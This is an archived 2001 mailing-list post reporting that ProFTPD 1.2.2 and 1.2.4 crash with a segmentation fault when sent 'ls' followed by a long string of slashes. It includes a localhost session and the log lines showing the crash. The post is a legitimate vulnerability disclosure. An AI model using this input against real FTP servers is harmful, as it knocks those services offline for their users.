Vulnerability Development mailing list archives

Proftpd SIGSEGV


From: Yaroslav Klyukin <bulldozer () skintwin no-ip com>
Date: Sun, 30 Dec 2001 17:53:00 +0300


I have found some strange things happening with proftpd (I tried 1.2.2 and 1.2.4. on different systems)

When you issue
ls ////////////////////////////////////////////////////////////////////

command it will catch SIGSEGV and exit (11)

I am not sure if it is already known, i send it just in case.

Example:


[root@desktop skintwin]# /usr/local/sbin/proftpd
[root@desktop skintwin]# ftp localhost
Connected to localhost.localdomain.
220 ProFTPD 1.2.4 Server (ProFTPD Default Installation) [desktop.skintwin.no-ip.com]
Name (localhost:skintwin):
331 Password required for skintwin.
Password:
230 User skintwin logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ///////////////////////////////////////////////////////////////////////////////////
227 Entering Passive Mode (127,0,0,1,4,100).
150 Opening ASCII mode data connection for file list
421 Service not available, remote server has closed connection
ftp>


In log files i have:



Dec 30 17:46:27 desktop proftpd[1329]: desktop.skintwin.no-ip.com - ProFTPD 1.2.4 (release) (built Сбт Дек 29 23:27:35 MSK 2001) standalone mode STARTUP Dec 30 17:46:35 desktop proftpd[1331]: desktop.skintwin.no-ip.com (localhost.localdomain[127.0.0.1]) - FTP session opened. Dec 30 17:47:09 desktop proftpd[1331]: desktop.skintwin.no-ip.com (localhost.localdomain[127.0.0.1]) - ProFTPD terminating (signal 11)




--
Systems admin of skintwin.no-ip.com
Visit http://skintwin.no-ip.com:777/


Current thread: